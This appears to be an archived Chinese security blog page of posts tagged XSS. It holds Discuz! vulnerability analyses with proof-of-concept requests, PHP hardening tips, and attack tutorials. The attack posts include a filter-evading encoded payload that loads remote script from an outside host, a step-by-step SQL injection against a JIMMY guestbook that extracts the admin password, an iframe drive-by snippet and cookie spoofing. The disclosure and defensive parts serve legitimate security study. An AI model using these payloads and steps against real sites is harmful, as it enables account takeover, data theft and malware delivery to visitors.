存档

文章标签 ‘XSS’

xss简单渗透测试

2009年7月27日 没有评论 57 views

Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2008-12-24
From: http://www.80sec.com/release/xss-how-to-root.txt

[ 目录 ]

0×00 前言
0×01 xss渗透测试基本思路
0×02 一次黑盒的xss渗透测试
0×03 一次白盒的xss渗透测试
0×04 总结

0×00 前言

在web蓬勃发展的今天,xss毫无疑问已经变成最“流行”的漏洞,我曾经在安全公司的渗透测试报告里看到列为数十的高危xss漏洞,也看到越来越多的安 全研究人员将目标投向xss攻击,发现100个甚至1000个之上的xss。xss变得如此流行的原因我猜测有几点,首先输入输出是一个应用程序最基本的 交互,一个提供服务的应用程序可以不操作数据库,可以不与系统交互,但是肯定会将程序的处理结果返回给浏览器,加上程序员如果意识不到位,就必然发生 xss,对于一个互联网公司,这两方面的因素加起来就会导致这个漏洞数量就非常可观,所以可以经常见到互联网公司如腾讯,新浪,百度,搜狐等等的xss漏 洞报告。

 

但是,在谈论xss的时候往往大家都会说这是一个xss漏洞,而不会提到这是个什么类型的xss漏洞,甚至这是个什么场景下的xss漏洞,包括有效的攻击 方式上都不会去提,即使提到也是一些传说的危害譬如蠕虫,譬如挂马,譬如窃取用户信息,乃至钓鱼攻击。甚至由于种种原因,大家往往关注漏洞两个字甚于前面 的xss。作为安全研究人员,这是一种不负责任的行为,这种行为的后果就是网络安全淡化为web安全,web安全淡化为xss,而xss淡化为 alert(),总有一天程序员会不再信任我们,真正的威胁依然停留在系统里。这方面也有国际上的原因,太多的安全研究人员将重点放在xss的研究上,我 不知道是否是国外的安全水平已经达到如此需要关注xss的水平,尽管xss是最普遍的漏洞,但是从黑客的利用程度上来看远远不如一个命令执行,一个文件上 传漏洞来得实在。我相信Google已经达到这水平,但那只是Google,不是我们。
我这里不想谈论如何防范xss漏洞,如果在你的系统里发现1000个之上的xss,那你就应该停止寻找更多的xss而该去想想如何从根源上杜绝xss,即 使杜绝不了xss那也应该想想xss在这里是不是有什么可预见的风险,如果有的话那有什么方式可以将xss的危害弱化乃至一段时期内可以接受的程度。作为 一个黑客实用主义者,我这里将描述一次xss渗透测试的简单思想以及实现,与学院派不同,渗透测试不能只是说说而已,必须真实的获取自己想要的东西才可以 是成功。

0×01 xss渗透测试基本思路

阅读全文...

分类: 技术文章 标签:

Yahoo webmail xss&OWA xss

2008年12月1日 没有评论 83 views

漏洞介绍:Yahoo webmail和Outlook web access是使用比较多的webmail,可以通过web界面来收发电子邮件。但是80sec发现在他们处理某些字符集的时候存在漏洞,可能导致Xss 脚本攻击。我们发现后及时通知了官方,官方也已经予以修补。

漏洞资料:漏洞具体信息参见Xkongfoo上的pptweb应用程序中的字符集攻击

漏洞建议:官方已经在公告发布之前予以修复

本站内容均为原创,转载请务必保留署名与链接!
Yahoo webmail xss&OWA xss:http://www.80sec.com/yahoo-webmail-xssowa-xss.html

分类: 技术文章 标签: ,

Discuz! $_DCACHE数组变量覆盖漏洞

2008年11月9日 没有评论 106 views

author: ryat_at_www.wolvez.org
team:http://www.80vul.com

由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$_DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.

一 分析

/wap/index.php

//43行


$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = addslashes(stripslashes($chs->Convert($$key)));
}
unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
require_once './include/'.$action.'.inc.php';

这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法有一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE,那么POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL[再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串]:)

/wap/include/register.inc.php

//124行

require_once DISCUZ_ROOT.'./include/cache.func.php';
$_DCACHE['settings']['totalmembers']++;
$_DCACHE['settings']['lastmember'] = $discuz_userss;
updatesettings();

这个地方是注册用户后更新缓存数据,再来看看updatesettings()是怎么处理的:

include/cache.func.php

//252行

function updatesettings() {
global $_DCACHE;
if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
}
}

可以看到这个地方写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将仅仅只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']:)

include/common.inc.php

//95行:

$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
(!empty($_POST['styleid']) ? $_POST['styleid'] :
(!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
$_DCACHE['settings']['styleid'])));

$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);

if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
$cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}

这里用extract处理了$_DCACHE['settings'],但由于此时包含的forumdata/cache/cache_settings.php文件中仅仅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用,但现在我们可以随意提交这些变量,这将导致xss,sql注射,命令执行等众多严重的安全问题:)

另外要注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是我们wap注册时写入的数据:)

PS:WAP用户注册默认并不开启

二 利用

Poc:


POST http://127.0.0.1/dz/wap/index.php?action=register HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/dz/wap/index.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66

username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1

D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Nov 6, 2008, 22:27
//Identify: 1b0cb6a8551131fb818dc6fe54e9cad0

$_DCACHE['settings'] = array (
'totalmembers' => 1,
'lastmember' => 'ryat',
);

?>

SQL Injection/XSS Cheat Sheet

2008年11月8日 没有评论 105 views

來源:好站 SQL Injection-XSS Cheat Sheet

作者:jon ( My-Favorite-Site )

最近很流行 Cheat Sheet, 把一些常用該知道的東西整理好的小抄(或許也可以說是懶人包?), 印出來立在桌邊, 不過印超過兩張就發現桌子沒地方放, 好像也蠻頭大的.. XD

今天正巧看到一篇不同於其它 Cheat Sheet 的文章: SQL Injection Cheat Sheet,這篇文章把常用的 SQL Injection的方法都列出來, 來看 SQL Injection 的危險程度(針對 MySQL, SQL Server, PostgreSQL, Oracle... 等).

不曉得 SQL Injection 是什麼, 可以看 M$ 的解說:SQL Injection (資料隱碼) - 駭客的 SQL填空遊戲及應用... XD

順手整理 Cheat Sheet:

既然都有了 SQL Injection, 那當然也得要有 XSS, 先看一些做法及說明:

PHP 少用 PHP_SELF, 或最好別用 PHP_SELF, 可看下述討論:

不過要防範也不是那麼困難, 總之, 沒有處理過的字串, 要轉成 HTML 輸出前, 要先經過 htmlentities/htmlspecialchars 處理就可以了.

總結: XSS 就是只要能在你頁面 Alert JS, 就能幹很多壞事(之前有寫一些 Demo Code,改天找到再放出來), 再來一樣是 Cheat Sheet 如下(壞人就是這樣子玩你的站的)...

PS: 網路上很多壞人呀~~ 很危險的~... XD

分类: 技术文章 标签: ,

Discuz! member.php xss bug

2008年11月5日 没有评论 88 views

由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com

一 分析

member.php代码:


if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {
//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)
$type = $adminid == 1 ? 'grouplist' : $type;
} else {
$listgid = '';
}
...
$multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);

二 利用

poc:

poc:
http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发

三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {
$type = $adminid == 1 ? 'grouplist' : $type;
} else {
$listgid = '';
}

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

分类: 技术文章 标签: , ,

Discuz! 数据库错误信息xss bug

2008年11月3日 没有评论 61 views

由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击.
author: 80vul-B
team:http://www.80vul.com

一 分析

在文件include\db_mysql_error.inc.php里代码:


if($message) {
$errmsg = "<b>Discuz! info</b>: $message\n\n";
}
if(isset($GLOBALS['_DSESSION']['discuz_user'])) {
$errmsg .= "<b>User</b>: ".htmlspecialchars($GLOBALS['_DSESSION']['discuz_user'])."\n";
}
$errmsg .= "<b>Time</b>: ".gmdate("Y-n-j g:ia", $timestamp + ($GLOBALS['timeoffset'] * 3600))."\n";
$errmsg .= "<b>Script</b>: ".$GLOBALS['PHP_SELF']."\n\n";
if($sql) {
$errmsg .= "<b>SQL</b>: ".htmlspecialchars($sql)."\n";
}
$errmsg .= "<b>Error</b>:  $dberror\n";
$errmsg .= "<b>Errno.</b>:  $dberrno";

$GLOBALS['PHP_SELF']确实过滤,导致在出现sql错误信息时利用$GLOBALS['PHP_SELF']进行xss攻击.

二 利用

需要结合其他的让出现错误信息的漏洞.

三 补丁[fix]

过滤$GLOBALS['PHP_SELF']

分类: 技术文章 标签: , ,

Discuz! admincp.php xss bug

2008年11月3日 没有评论 92 views

由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com

漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:

<input type="hidden" name="url_forward" value="$url_forward">

poc:
http://127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
[管理员或版主前台登录,但未登录后台时触发]

分类: 技术文章 标签: , ,

PHP SQL Injection 和 XSS 的偵測程式 和 程式撰寫注意事項 - 2008

2008年10月16日 没有评论 80 views

作者:jon

程式的安全, 除了本身自己該注意的事項外, 還有不少偵測程式, 可以幫你避免掉意外狀況.

此文章加上年份的資料, 主要是因為安全性會隨著時間演變, 原本安全的程式也會變的不安全(ex: XSS), 所以本篇文章是 2008 年寫的, 或許到 2009 年就過時囉, 請把此篇當參考, 再去看最新的安全資訊會比較保險.(不過就算過時, 請還是不要把它遺漏掉, 過時的漏洞還是漏洞, 還是會有安全性的問題產生)

關於安全的資訊, 先講結論就是: 網路是危險的. 大家能做到的就是盡可能的保護, 但是無法保證絕對的安全.(另外 安全方便 通常是呈反比的)

這兩篇文章/簡報都蠻值得看看, 有助於瞭解下面為何要做那些事, 和其它的防範:

下述先就幾方面做整理:

  1. PHP 程式撰寫上該注意到的事項
  2. SQL Injection/XSS(Cross-site scripting attacks) 偵測程式(白箱/黑箱測試)
  3. PHP 系統上的注意事項
  4. 相關文章整理

PHP 程式撰寫上該注意到的事項

首先對於安全的認知, 就是 外部拉到的資料(使用者送出的資料), 都是不安全的, 都要做嚴謹的檢查.

哪些是外部拉到的資料(使用者送出的資料)?

  • GET: $_GET (Form submit/網址列參數)
  • POST: $_POST
  • REQUEST: $_REQUEST
  • COOKIE: $_COOKIE
  • JSON/AJAX/合作廠商送的資料/讀取檔案, 要將資料寫入 DB 的 Data 等.

有人常會說用 Framework 就可以避免掉這種事情, 個人認為這是不太正確的想法, 因為太依賴 Framework, 反而有可能造成安全上的漏洞.(註: 並不是指不要用 Framework, 而是用 Framework 還是要注意下述的安全問題)

ex: Framework 通常會幫你做好 SQL Injection 預防的處理, 但是於 XSS 的處理上, 這通常還是得要有自己的認知, 哪些地方能使用 HTML, 秀出來的 HTML 要做過哪些處理? 允許哪些 HTML Tag? 要怎麼過濾? 這些一般 Framework 並沒辦法幫你做決定, 處理上也沒那麼容易.

PHP 本身已經提供預防各類安全問題的處理方法, 下述就簡單列出來, 不過隨時代演進, 會跟著改變, 就看當下的狀況來處理囉~

PHP 設定檔(php.ini)
  • 轉載 LAMP 攻防簡報裡的內容, 不過 magic_quotes_gpc 做個修改
  • register_global = off (全域變數)
  • magic_quotes_gpc = off (' => \' , " => \" , %00 => \ 0) (建議 magic_quotes_gpc = off 自己處理)
  • display_error = off (在網頁上顯示錯誤訊息)
  • log_error = on (紀錄錯誤訊息)
  • allow_url_fopen = off (可開啟遠端網頁)
  • expose_php = off (顯示PHP 版本資訊)
  • open_basedir = (允許開啟的目錄)
  • safe_mode = on (安全模式)
  • disable_function = (禁止使用的函數)
  • safe_mode_include_dir = (允許include的目錄)
PHP 接收參數 GET/POST/REQUEST/COOKIE/SERVER/ENV.

PHP Filter Functions(要安裝 Pecl filter)

沒有使用此 Filter 也無所謂, 重點是要做嚴謹的檢查.(ex: integer, 年月日.. 等)

PHP 於寫入 DB 階段:(SQL Injection)
PHP 於 HTML 頁面的呈現(無法讓 User 使用 HTML 情況)
PHP 於 HTML 頁面的呈現(讓 User 使用 HTML 情況)
  • HTML Purifier: HTML Purifier is a standards-compliant HTML filter library written in PHP.
  • PHP HTML Sanitizer: Remove unsafe tags and attributes from HTML code
  • htmLawed: PHP code to purify & filter HTML
PHP 於 Shell script command(呼叫外部程式帶入參數, ex: system, exec)
瀏覽器 URL列 GET 的參數傳送

urlencode: 將要傳的參數值都要經過 urlencode, 這主要是符合標準 (RFC 1738).

PHP Source code 加密(Encrypt), 某些商業用途採用
SQL Injection/XSS(Cross-site scripting attacks) 偵測程式(白箱/黑箱測試)

註: 這些工具請不要拿去玩其它網站, 只做自己程式/網站的掃描測試用.

程式本身需要加 mysql_escape_string/htmlspecialchars 等(上述挑其一方法做), 總會有不小心漏掉, 或者那是外來程式 等, 下述的工具可以來做簡單的檢測~ (我目前使用 Wapiti 和 Pixy, 其它就不太熟了.)

PHP 系統上的注意事項

系統上該注意的, 就是本身系統要更新, 然後 PHP 部份, 就是把 Suhosin 裝起來.

安裝方法有下述兩種:

相關文章整理

上述感覺不到危險的, 這幾篇文章可以自己試著測試自己寫的程式看看.(請不要拿來測試非自己的網站/程式)

下述就比較偏向其它相關文章整理

分类: 技术文章 标签: ,

关于XSS漏洞另一个攻击趋势

2008年6月30日 没有评论 64 views

By:茄子宝

XSS漏洞一般是基于WEB程序的输入输出问题,但最近80SEC开始发现了一系列以IE为内核的第三方浏览器的漏洞,在评估其中的XSS漏洞,我们发现了基于浏览器软件自身设计造成的XSS漏洞所暴发的威力有多么大!

通过类似的漏洞我测试了一个功能十足的浏览器木马,这个“木马”可以控制浏览器所有的行为,甚至包括读取本地任意文件和运行本地任意可执行文件。其实这个木马的权限相当于一个本地直接打开的HTML文档的权限,在这里AJAX没有域的限制,可以对任意域发送请求,window.open弹窗不再被浏览器拦截等等~

下面我就大概描叙下这类攻击的特性:

1.攻击的本质:

实际上这是一小段JAVASCRIPT,我们只是通过漏洞把这段JS感染到每一个用户的浏览器,但是他不再受系统的限制,任何一个有漏洞的浏览器访问了类似页面都会受到攻击。

2.传播的途径:

从传播方式上来说它和传统的网页木马攻击方式没有区别,由于这种攻击对于HTTP请求包括AJAX都没有域的限制,能使用浏览器本地保存的COOKIE,所以可以劫持用户所有WEB应用的身份,它完全能够让已感染主机配合任何网站的应用做蠕虫式的传播。

3.攻击的危害:

我们可以像传统的僵尸网络一样控制大量的浏览器肉鸡,控制浏览器做任意的访问行为和动作。

同时也能针对单个用户做渗透攻击,劫持他所有WEB应用的身份,读取运行本地的任意敏感文件。

4.攻击的展望:

当Active X等溢出漏洞不再风光的时候,以后利用XSS漏洞针对浏览器进行劫持攻击将是一个大的趋势。

分类: 技术文章 标签: ,

跨站Script攻击和防范

2007年3月19日 没有评论 198 views

第一部分:跨站Script攻击
每当我们想到黑客的时候,黑客往往是这样一幅画像:一个孤独的人,悄悄进入别人的服务器中,进行破坏或者窃取别人的秘密资料。也许他会更改我们的主页,甚者会窃取客户的信用卡号和密码。另外,黑客还会攻击访问我们网站的客户。与此同时,我们的服务器也成了他的帮凶。微软称这种攻击为“跨站script”攻击。而这种攻击大多数都发生在网站动态产生网页的时侯,但黑客的目标并不是你的网站,而是浏览网站的客户。
跨站script攻击的说明
在一本名为<< ADVISORY CA--2000-02>>的杂志中,CERT警告大家:如果服务器对客户的输入不进行有效验证,黑客就会输入一些恶意的 HTML代码,当这些HTML代码输入是用于SCRIPT程序,他们就能利用它来进行破坏,如插入一些令人厌恶的图片或声音等,同时,也能干扰了客户正确浏览网页。
我们知道,有些朋友曾经被诱导到一些可疑的免费网站,他们得到的仅仅是10到20个小的窗口,这些窗口常常伴随着由JAVA 或 JAVASCRIPT生成的失效安钮,这被称为鼠标陷阱。关闭这些窗口是徒劳的,每当我们关闭一个窗口,又会有10几个窗口弹出。这种情况常常发生在管理员没在的时侯发生。鼠标事件是黑客利用跨站SCRIPT方法攻客户的典型范例。
恶意的标签和SCRIPT不单纯的恶作剧,他们甚至可以窃取资料和捣毁系统。一个聪明的甚至是不够聪明的黑客都能够使用SCRIPT干扰或者改变服务器数据的输入。利用SCRIPT代码也能攻击客户系统,让你的硬盘尽损。而且你要知道,在你一边使用服务器的时候,黑客的SCRIPT也正在你服务器里安全的地方运行着的呀!如果客户对你的服务器非常信认,同样他们也会信任那些恶意的SCRIPT代码。甚至这个代码是以〈SCRIPT〉或者〈OBJECT〉的形式来自黑客的服务器。
即使使用了防火墙(SSL)也不能防止跨站SCRIPT的攻击。那是因为如果生成恶意SCRIPT代码的设备也使用了SSL,我们服务器的SSL是不能辨别出这些代码来的。我们难道就这样把客户曾经那么信任的网站拱手让给黑客吗?而且有这种破坏的存在,会让你网站名誉尽损的。

一、跨站SCRIPT攻击示例:
根据CERT的资料,动态输入大致有这几种形式:URL参数,表格元素,COOKISE以及数据请求。让我们来分析一下,这个只有两个页面的网站,网站名为:MYNICESITE.COM。第一页使用一张表格或
COOKIE来获取用户名:
<%@ Language=VBScript %>
<% If Request.Cookies("userName") <> "" Then
Dim strRedirectUrl
strRedirectUrl = "page2.asp?userName="
strRedirectUrl = strRedirectUrl & Response.Cookies("userName")
Response.Redirect(strRedirectUrl)
Else %>

MyNiceSite.com Home Page

MyNiceSite.com

Enter your MyNiceSite.com username:

<% End If %>

第二页返回用户名以示欢迎:
<%@ Language=VBScript %>
<% Dim strUserName
If Request.QueryString("userName")<> "" Then
strUserName = Request.QueryString("userName")
Else
Response.Cookies("userName") = Request.Form("userName")
strUserName = Request.Form("userName")
End If %>

Hell <%= strUserName %>

当你正常常输入文字时,一切都很正常。如果你输入Script代码:

,JavaScript警告标签就会弹出来:
在你下一次访问时,这个警示标签同样会出现;这是因为这个Script代码在你第一次访问的时后就已经留在cookie中了。这是一个简单的跨站攻击的范例。
如果你认为这是一个特殊情况,你也不妨到网上别的地方看看,亲自试一下。我曾经对一些大型的政府网站、教育网站以及商业网站进行过测试,他们当中的确有部分出现了以上所说的情况,我甚至发现了我经常使用信用卡的网站也居然对输入不进行任何过滤,想想真是可怕。

二、 用E-Mail进行跨站Script攻击
跨站script攻击用在列表服务器,usenet服务器和邮件服务器来得特别容易。下面还是以MyNiceSite.com网站为例进行说明。由于你经常浏览这个网站,它的内容也的确让你爱不爱不释手,因此在不知不觉中你就把浏览器的改成了总是信任这个动态网站内容的设置。
MyNiceSite.com网站总是通过出售征订它们Email信件的邮箱地址来获得收入,这的确是一种不太好的办法。于是我买了它的一份邮箱地址。并发了大量的邮件给你们。在信中我告诉你们尽快访问这个网 站,并检查你们帐户使用的最新情况。为了让你们感到方便,我在这信中也作了链接。我在这链接 URL中的username参数中舔加了script代码。有些客户在不知不觉中就点击了这个链接,也就是说上了我的当(如图),同时我也从中得到了好处:
它是这样工作的,当你点击这个链接的时后,在链接里的script代码就会引导你所用浏览器去下载我的JavaScript程序并执行它。我的Script检查到你使用的是IE浏览器后,就着手下载ActiceX控件 particularlyNasty.dll。因为之前你已经把这个网站的内容认为总是安全的,这样,我的script代码和Active 控件就能在你机器上自由自在的运行了。

三、 Activex攻击说明
在讨论ActiveX时,CERT和微软都没提到跨站script方法所带来的的危险。W3C在<<安全常见问题解答>>中对 ActiveX的安全问题作了比较详尽的说明。Java applet对系统的控制受到严格限制。SUN开发它时就规定,只有那些对系统的安全不构成威胁的操作才被允许运行。
在另一方面,ActiveX对系统的操作就没有严格地被限制。如果一但被下载,就可以象安装的可执行程序一样做他们想干的事情。针对这一特点IE浏览器也作了某些限制,如对于那些不安全的站点,在它的默认设置中就会不允许你进行下载或者会给你警告的提示。正在基于 ActiveX进行开发的公司,如VeriSign公司,它们对ActiveX控件都给编了号。当你在下载控件的时后,IE浏览器会给你警告并显示它的可信籁程度。由用户决定是否相信这个控件。这样一来系统的安全性就增加了。
但是,对于那些没有多少经验的用户来说,他们往往不自觉地对原来的设置进行了修改,让这些控件在没有任何提示的情况下就下载了。另外,对一个新手来说,即使在有提示的情况下也会不加思索地下载那些没作任何标记的控件。在我们所举的例子中,由于你对该站点的信任,改了浏览器的设置,这样,ActiveX控件在不经过任何提示的情况下就下载,并在你的机器上不知不觉地开始运行。

四、16进制编码的ActiveX Script 攻击
要把用心不良的标签和script区分出来是一件非常困难的事。Script还可以16进制的形式把自己藏起来。让我们看看下面这个E-mail范例好吗?它是以16进制的形式被发送出去的:
这几乎是一封完整的邮件,里面包含了以16进制伪造的URL参数:sender=mynicesite.com。当用户点击链接时,用户的浏览器就会直接开始第一例所说的处理过程而弹出警告窗口。

第二部分:跨站Script攻击的防犯
一、如何避免服务器受到跨站Script的攻击
值得

 

分类: 技术文章 标签:

在XSS中如何再插JS

2006年10月9日 没有评论 65 views

来自:s0n9'5 B1o9

在XSS中如何再插JS

<img src="javascript:try{var s=document.createElement('script');s.src='http://XSS/XSS.js';document.body.appendChild(s);}catch(e){}"></img>

字符过滤怎么办?用Encode加密后就无敌了~

未加密前

<img src='#' XSS="try{var s=document.createElement('script');s.src='http://XSS/XSS.js';document.body.appendChild(s);}catch(e){}" "onerror"="window.execSript(decodeURI(this.XSS),'Jscript.Encode');" >

加密后

<img src='#' XSS="#@~^bQAAAA==OMX`7lMP/{NK^Es+UYcm.nmY+As+s+xDcv/1DbwOBbIkRdD1xB4YO2=zzpjUzp?U N/vpNKmEs+ or(W[Xcl22xN;4k^N`kbI81lDm4`nbP8XCcAAA==^#~@ " "onerror"="window.execSript(decodeURI(this.XSS),'Jscript.Encode');" >

嘿嘿~刺激吧~再怎么用你自己实验吧.

分类: 技术文章 标签:

JIMMY中文站留言簿漏洞利用

2006年10月8日 没有评论 122 views

一.注入漏洞

漏洞文件edit.asp admin_editly.asp searchresult.asp

edit.asp代码分析:

<%
  dim id
    id=request("id")
    set rs=server.createobject("adodb.recordset")
    sql="select * from [guest] where id="&id
rs.open sql,conn,1,3
if rs("sessionid")=session.sessionid then
%>

一个典型的sql注入漏洞,程序用request直接获取id的值,没有经过任何的过滤,但是注意一下程序利用的

是session验证,也就是说,只有登陆后台,才有权限来构造语句。

admin_editly.asp代码分析:


<%
dim guestcontent
dim id
id=request("id")
guestcontent=request("guestcontent")
    set rs=server.createobject("adodb.recordset")
    sql="select guestcontent,id,sh from [guest] where id="&id
       rs.open sql,conn,1,3
if guestcontent<>"" then
rs("guestcontent")=guestcontent
rs("sh")=false
        rs.update
rsclose()
connclose() 
response.redirect "manage.asp"
end if
%>

漏洞与edit.asp如出一辙。同样直接获取id的值,没有任何过滤。虽然这里没有session验证,但是此文件的

开始有这么一句就是说 先得通过chkmanage.asp的验证才有权限登

陆这个页面。

searchresult.asp代码分析:

搜索型注入,everyone可以写。不用任何验证,它便是我们今天的主要对象。


<%
dim keyword
keyword=trim(request("keyword"))
classid=request("classid")
set rs=server.createobject("adodb.recordset")
if classid="留言内容" then
sql="select * from guest where guestcontent like '%"&keyword&"%'"
elseif classid="回复内容" then
sql="select * from guest where guestreply like '%"&keyword&"%'"
else
sql="select * from guest where guestname like '%"&keyword&"%'"
end if
rs.open sql,conn,3,1
Rs.pagesize=listnum
    page=Request("page")
    if (page-Rs.pagecount) > 0 then
    page=Rs.pagecount
    elseif page = "" or page < 1 then
    page = 1
    end if
%>

注意keyword这个变量 只用trim函数过滤掉了空格 显然没有过滤完全。

大家注意它的sql的查询方式,我们必须通过 关键字%' and [我们构造的语句] and '% 构成一个闭合查询语句

比如我们构造这个语句:keyword%' and 1=1 and '% 那么程序在执行的时候就会变成:

select * from guest where guestcontent like '%关键字%' and 1=1 and '%%'

这样就实现了注入。

这里我们在实际做的时候会遇到一些问题,但是我们可以本地提交。大家来看代码:


<INPUT maxLength=12 size=28 name=keyword>

程序限制了长度 12个字节 问题是 我们构造语句 12个是一定会超出的,这样的话 我们就以把searchresult.asp

这个文件保存到本地,然后补全action后面的url 在把maxlength改为120嘿嘿 够长了吧。。。。

关键字%' and ascii的值=(select top 1 asc(mid(password,1,1)) from admin) and '%

com%' and 97=(select top 1 asc(mid(username,1,1)) from admin) and '%

如果正确 则返回正常页面 否则程序会alert("没有符合条件的记录")

二.跨站漏洞

save.asp

server.HTMLEncode(guestname)<>guestname or InStr(guestname," ")<>0 or InStr(guestname," ")<>0 or InStr(guestname,"【")<>0 or InStr(guestname,"】")<>0 or InStr(guestname,"/")<>0 or InStr(guestname,"\")<>0 or InStr(guestname,"_")<>0 or InStr(guestname,"'")<>0 or InStr(guestname,".")<>0 

代码比较乱,但是我们可以看出htmlencode这个函数 肯定是一个过滤非法字符的。它就位于

我们来读下它的代码。


function HTMLEncode(fString)

    fString = replace(fString, ">", ">")

    fString = replace(fString, "<", "<")

    fString = Replace(fString, CHR(13), "")

    fString = Replace(fString, CHR(10) & CHR(10), "</P><P>")

    fString = Replace(fString, CHR(10), "<BR>")

    HTMLEncode = fString

end function

过滤掉了 很多跨站常用的字符。。。可以那么说,这里的跨站几乎是没戏了。。。那么我们把眼光移动到另

一个文件上。。。

undate_eidtnote.asp

这个文件 没有包含刚刚我们说的 char.asp 这个文件,那么跨站就成为轻而一举的事情了。。。


<%
notetitle=request("notetitle")
notebbs=request("guestcontent")
set rs=server.createobject("adodb.recordset")
sql="select notetitle,notebbs,notedate from [lybconfig] where id=1"
rs.open sql,conn,1,3
rs("notebbs")=(request("guestcontent"))
rs("notetitle")=(request("notetitle"))
rs("notedate")=Date()
    rs.update
rsclose()
connclose() 
%>

还是一样 直接获取 没有过滤。。。

构造语句:


<script>alert("品透泡菜")</script>

挂马代码:


<iframe src=http://www.baidu.com width=100 

放到公告栏里就行了。。。

但是该文件开头有那么一句

也就是说 只有登陆后台 才有权限来搞....

三.cookies欺骗

username=管理员名字&password=MD5加密&randomid=随便写数字

四.总结

由于这个留言簿的功能很简单,从它或者webshell比较困难,但是这个留言本可以说是一个插件,

如果你的运气够好的话,这个留言本的后台密码也许就是主站的后台密码。。。

这样获得webshell的几率就高了。。。

Powered by pintoupaocai

分类: 技术文章 标签: , ,